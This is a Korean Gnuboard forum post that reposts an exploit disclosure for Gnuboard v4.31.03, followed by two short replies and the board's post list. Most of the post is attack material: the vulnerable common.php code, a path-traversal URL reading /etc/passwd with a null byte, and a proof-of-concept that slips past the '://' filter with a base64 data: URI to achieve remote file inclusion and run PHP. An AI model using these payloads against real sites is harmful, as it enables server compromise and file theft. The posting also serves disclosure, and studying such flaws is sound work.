s

Gnuboard v4.31.03 악용.....ㅋㅋ....

중국해커찾기......
/***************************

/common.php

@extract($_GET);
@extract($_POST);
@extract($_SERVER);

……

if (!$g4_path || preg_match("/:\/\//", $g4_path))
die("<meta http-equiv='content-type' content='text/html; charset=$g4[charset]'><script language='JavaScript'> alert('잘못된 방법으로 변수가 정의되었습니다 .'); </script>");

//if (!$g4_path) $g4_path = ".";

$g4['path'] = $g4_path; //it's not allow char ://in $g4_path

unset($g4_path);

include_once("$g4[path]/lib/constant.php"); //file include
include_once("$g4[path]/config.php");
include_once("$g4[path]/lib/common.lib.php");

http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00
.....

when the site meets PHP >= 5.2.0&allow_url_include = On, we can use php data bypass preg_match("/:\/\//", $g4_path)
it's became a Remote File Include Vulnerability
poc:
/*************************

bypass_local.php
<?php
//coded by qiuren
if (!$g4_path || preg_match("/:\/\//", $g4_path))
die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>

bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=

phpinfo() can be executed
***************************/

관리자빠르게패치........ㅋㅋ....

댓글 2개

무슨 소리신지 --;
이해는 했는데, 최신 버전에는 안되는 버그네요 :)
댓글을 작성하시려면 로그인이 필요합니다.

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기 기존 게시물은 열람만 가능합니다.

+
제목 글쓴이 날짜 조회
09-03-31 조회 872
09-03-31 조회 1,036
09-03-30 조회 807
09-03-30 조회 1,036
09-03-30 조회 869
09-03-30 조회 1,706
09-03-30 조회 812
09-03-30 조회 986
09-03-30 조회 976
09-03-30 조회 915
09-03-30 조회 1,026
09-03-30 조회 1,158
09-03-30 조회 1,682
09-03-30 조회 1,142
09-03-30 조회 958
09-03-30 조회 1,031
09-03-30 조회 1,094
09-03-30 조회 2,591
09-03-30 조회 1,036
09-03-30 조회 1,077